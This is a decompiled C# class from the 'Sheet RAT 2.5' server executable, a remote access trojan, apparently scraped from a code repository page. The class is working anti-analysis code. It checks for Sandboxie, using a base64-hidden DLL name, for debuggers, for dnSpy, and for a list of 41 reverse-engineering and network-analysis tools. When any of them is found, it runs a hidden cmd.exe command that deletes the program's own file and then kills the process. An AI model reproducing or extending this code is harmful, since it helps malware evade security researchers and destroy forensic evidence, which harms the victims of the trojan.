137 lines
3.3 KiB
C#
137 lines
3.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass
|
|
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
|
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
|
|
|
using System;
|
|
using System.Windows.Forms;
|
|
using System.Collections;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Text;
|
|
|
|
//#nullable disable
|
|
namespace MindLated.Protection.Anti.Runtime {
|
|
|
|
internal class SelfDeleteClass
|
|
{
|
|
public static void Init()
|
|
{
|
|
if (SelfDeleteClass.IsSandboxie())
|
|
SelfDeleteClass.SelfDelete();
|
|
if (SelfDeleteClass.IsDebugger())
|
|
SelfDeleteClass.SelfDelete();
|
|
if (!SelfDeleteClass.IsdnSpyRun())
|
|
return;
|
|
SelfDeleteClass.SelfDelete();
|
|
}
|
|
|
|
private static bool IsSandboxie() => SelfDeleteClass.IsDetected();
|
|
|
|
private static bool IsDebugger() => SelfDeleteClass.Run();
|
|
|
|
private static bool IsdnSpyRun() => SelfDeleteClass.ValueType();
|
|
|
|
private static void SelfDelete()
|
|
{
|
|
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
|
|
{
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
})?.Dispose();
|
|
Process.GetCurrentProcess().Kill();
|
|
}
|
|
|
|
private static bool ValueType()
|
|
{
|
|
return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
|
|
}
|
|
|
|
private static IntPtr GetModuleHandle(string libName)
|
|
{
|
|
foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules)
|
|
{
|
|
if (module.ModuleName.ToLower().Contains(libName.ToLower()))
|
|
return module.BaseAddress;
|
|
}
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
private static bool IsDetected()
|
|
{
|
|
return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
|
|
}
|
|
|
|
private static bool Run()
|
|
{
|
|
bool flag = false;
|
|
if (Debugger.IsAttached || Debugger.IsLogging())
|
|
{
|
|
flag = true;
|
|
}
|
|
else
|
|
{
|
|
string[] strArray = new string[41]
|
|
{
|
|
"codecracker",
|
|
"x32dbg",
|
|
"x64dbg",
|
|
"ollydbg",
|
|
"ida",
|
|
"charles",
|
|
"dnspy",
|
|
"simpleassembly",
|
|
"peek",
|
|
"httpanalyzer",
|
|
"httpdebug",
|
|
"fiddler",
|
|
"wireshark",
|
|
"dbx",
|
|
"mdbg",
|
|
"gdb",
|
|
"windbg",
|
|
"dbgclr",
|
|
"kdb",
|
|
"kgdb",
|
|
"mdb",
|
|
"processhacker",
|
|
"scylla_x86",
|
|
"scylla_x64",
|
|
"scylla",
|
|
"idau64",
|
|
"idau",
|
|
"idaq",
|
|
"idaq64",
|
|
"idaw",
|
|
"idaw64",
|
|
"idag",
|
|
"idag64",
|
|
"ida64",
|
|
"ida",
|
|
"ImportREC",
|
|
"IMMUNITYDEBUGGER",
|
|
"MegaDumper",
|
|
"CodeBrowser",
|
|
"reshacker",
|
|
"cheat engine"
|
|
};
|
|
foreach (Process process in Process.GetProcesses())
|
|
{
|
|
if (process != Process.GetCurrentProcess())
|
|
{
|
|
for (int index = 0; index < strArray.Length; ++index)
|
|
{
|
|
if (process.ProcessName.ToLower().Contains(strArray[index]))
|
|
flag = true;
|
|
if (process.MainWindowTitle.ToLower().Contains(strArray[index]))
|
|
flag = true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return flag;
|
|
}
|
|
}
|
|
}
|